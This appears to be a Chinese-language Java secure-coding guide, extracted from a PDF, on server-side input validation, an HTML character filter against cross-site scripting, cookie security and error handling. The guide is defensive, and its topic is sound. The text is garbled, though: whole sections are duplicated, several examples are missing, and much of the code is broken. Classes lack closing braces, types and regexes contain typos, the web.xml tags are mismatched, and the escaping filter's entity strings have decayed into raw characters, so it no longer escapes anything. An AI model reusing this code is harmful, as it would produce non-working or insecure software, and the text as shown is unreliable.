数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要"user_name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR USERNAME REQUIRED: 该错误密钥用于显示消息,以通知用户需要 "user name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name" 字段应该是字母 数字。
- (c) ERROR USERNAME DUPLICATE:该错误密钥用于显示消息,以通知用户 "user name" 值在数据库中重复;
- (d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户 "user_name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
    // Constructor given a specified error key
    public Error(String key) {
    this(key, null);
    }
}
```

```
// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
    this.key = key;
    this.values = values;
}

// Returns the error key
public String getKey() {
    return this.key;
}

// Returns the placeholder values
public Object[] getValues() {
    return this.values;
}

private String key = null;
private Object[] values = null;
}
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
   public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
   if (propertyErrors == null) {
   propertyErrors = new ArrayList();
   errors.put(property, propertyErrors);
   propertyErrors.put(error);
   // Returns true if there are any errors
   public boolean hasErrors() {
   return (errors.size > 0);
   \ensuremath{//} Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
   return (ArrayList)errors.get(property);
   private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user_name"字段验证错误的示例:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-ZO-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError,或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException
- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
       // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
        \ensuremath{//} Format the message using the specified placeholders args
        return MessageFormat.format(errorMessage, args);
        } else {
        return errorMessage;
    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // \  \, \text{iterate through errors and output error messages corresponding to the "user\_name"} \ property
    ArrayList userNameErrors = errors.getErrors("user_name");
   ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
       // Get the next error object
        Error error = (Error)iterator.next();
       String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
```

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。 [4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
  </error-page>
  </error-page>
  <error-page>
```

```
</error-page>
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
              <global>
                              <validator name="required"</pre>
                              classname="org.apache.struts.validator.FieldChecks"
                             method="validateRequired"
                             msg="errors.required">
                             </validator>
                             <validator name="mask"</pre>
                              classname="org.apache.struts.validator.FieldChecks"
                             method="validateMask"
                              msg="errors.invalid">
                             </validator>
              </global>
               <formset>
                              <form name="loginForm">
                              <!-- userName is required and is alpha-numeric case insensitive -->
                              <field property="userName" depends="required, mask">
                              <!-- message resource key to display if validation fails -->
                              <msg name="mask" key="login.userName.maskmsg"/>
                             <arg0 key="login.userName.displayname"/>
                              <var>
                              <var-name>mask</var-name>
                              \vert = \ver
                              </var>
                              </field>
                             </form>
               </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

[2] JavaServer Faces 技术

"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

跨站点脚本编制

** 输入数据验证:虽然为了用户的方便,可以提供"客户端"层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。 客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串") [3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的

一个示例。

[1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}

Cstring fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
        // fieldValue is valid, continue processing request
        ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。 使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
            } catch (Exception e) {
            isFieldValid = false;
            }
            return isFieldValid;
        }
        ...
}
...
// Check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
            // fieldValue is valid, continue processing request
            ...
}
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
```

```
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
        validatedValue.length() <= maxLength);
    }
    ...
}

String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateRequired(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
}
</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
public Class Validator {
    public static boolean validateOption(Object[] options, Object value) {
       boolean isValidValue = false;
        List list = Arrays.asList(options);
        if (list != null) {
        isValidValue = list.contains(value);
        } catch (Exception e) {
        return isValidValue;
    }
}
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
   // valid user selection, continue processing request
    . . .
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]*\$

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
       boolean match = false;
        if (validateRequired(expression)) {
       RE r = new RE(expression);
       match = r.match(value);
        return match;
    }
}
// Verify that the userName request parameter is alphanumeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    . . .
}
```

Java 1.4 引进了一种新的正则表达式包 (java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
break;
       case '"':
       result.append(""");
       break;
       case '\'':
       result.append("'");
       break;
       case '%':
       result.append("%");
       break;
       case ';':
       result.append("&#59;");
       break;
       case '(':
       result.append("(");
       break;
       case ')':
       result.append(")");
       case '&':
       result.append("&");
       break;
       case '+':
       result.append("+");
       break;
       default:
       result.append(value.charAt(i));
       break;
       return result;
    }
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了过滤器,它支持拦截和转换 HTTP 请求或响应。

以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
\ensuremath{//} Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  public class SensitiveCharsFilter implements Filter {
      public void doFilter(ServletRequest request,
          ServletResponse response,
          FilterChain chain)
          throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
         chain.doFilter(request, wrapper);
         CharArrayWriter caw = new CharArrayWriter();
         caw.write(Validator.filter(wrapper.toString()));
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;
         public String toString() {
```

```
return output.toString();
}

public CharResponseWrapper(HttpServletResponse response) {
    super(response);
    output = new CharArrayWriter();
}

public PrintWriter getWriter() {
    return new PrintWriter(output);
}

}

}
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required: 如果字段包含空格以外的任何字符,便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内 ((value >= min) & (value <= max)),便告成功。

maxLength: 如果字段长度小于或等于 max 属性, 便告成功。

minLength: 如果字段长度大于或等于 min 属性, 便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard: 如果值可以是有效的信用卡号码,便告成功。

e-mail: 如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
[2] JavaServer Faces 技术
"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。
JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:
validate_doublerange: 在组件上注册 DoubleRangeValidator。
validate_length: 在组件上注册 LengthValidator。
validate_longrange: 在组件上注册 LongRangeValidator。
validate required: 在组件上注册 RequiredValidator。
validate stringrange: 在组件上注册 StringRangeValidator。
validator: 在组件上注册定制的 Validator。
JavaServer Faces API 定义以下 UlInput 和 UlOutput 处理器(标记):
input date:接受以 java.text.Date 实例格式化的 java.util.Date。
output_date:显示以 java.text.Date 实例格式化的 java.util.Date。
input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。
output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。
input number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。
input_text: 接受单行文本字符串。
output_text:显示单行文本字符串。
input time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。
output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。
input hidden: 允许页面作者在页面中包括隐藏变量。
input_secret: 接受不含空格的单行文本,并在输入时,将其显示为一组星号。
input_textarea:接受多行文本。
output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
output_label:将嵌套的组件显示为指定输入字段的标签。
output_message:显示本地化消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
```

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要 "user_name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR_USERNAME_REQUIRED: 该错误密钥用于显示消息,以通知用户需要 "user_name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name"字段应该是字母数字;
- (c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户 "user_name" 值在数据库中重复;
- (d) ERROR_USERNAME_INVALID: 该错误密钥用于显示一般消息,以通知用户 "user_name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
```

```
// Constructor given a specified error key
public Error(String key) {
    this(key, null);
}

// Constructor given a specified error key and array of placeholder objects
public Error(String key, Object[] values) {
    this.key = key;
    this.values = values;
}

// Returns the error key
public String getKey() {
    return this.key;
}

// Returns the placeholder values
public Object[] getValues() {
    return this.values;
}

private String key = null;
private Object[] values = null;
}
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
    if (propertyErrors == null) {
    propertyErrors = new ArrayList();
    errors.put(property, propertyErrors);
    propertyErrors.put(error);
    \ensuremath{//} Returns true if there are any errors
    public boolean hasErrors() {
    return (errors.size > 0);
    \ensuremath{//} Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
    return (ArrayList)errors.get(property);
    private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user_name"字段验证错误的示例:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
```

```
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME ALPHANUMERIC));
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        if (UserValidationEJB.checkIfDuplicate(userName)) {
        errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME DUPLICATE));
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME DUPLICATE);
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError, 或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。 请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException
- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
```

```
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
    \ensuremath{//} Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
        \ensuremath{//} Format the message using the specified placeholders \ensuremath{\operatorname{args}}
        return MessageFormat.format(errorMessage, args);
        } else {
        return errorMessage;
    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name" property
    ArrayList userNameErrors = errors.getErrors("user name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
   }
}
```

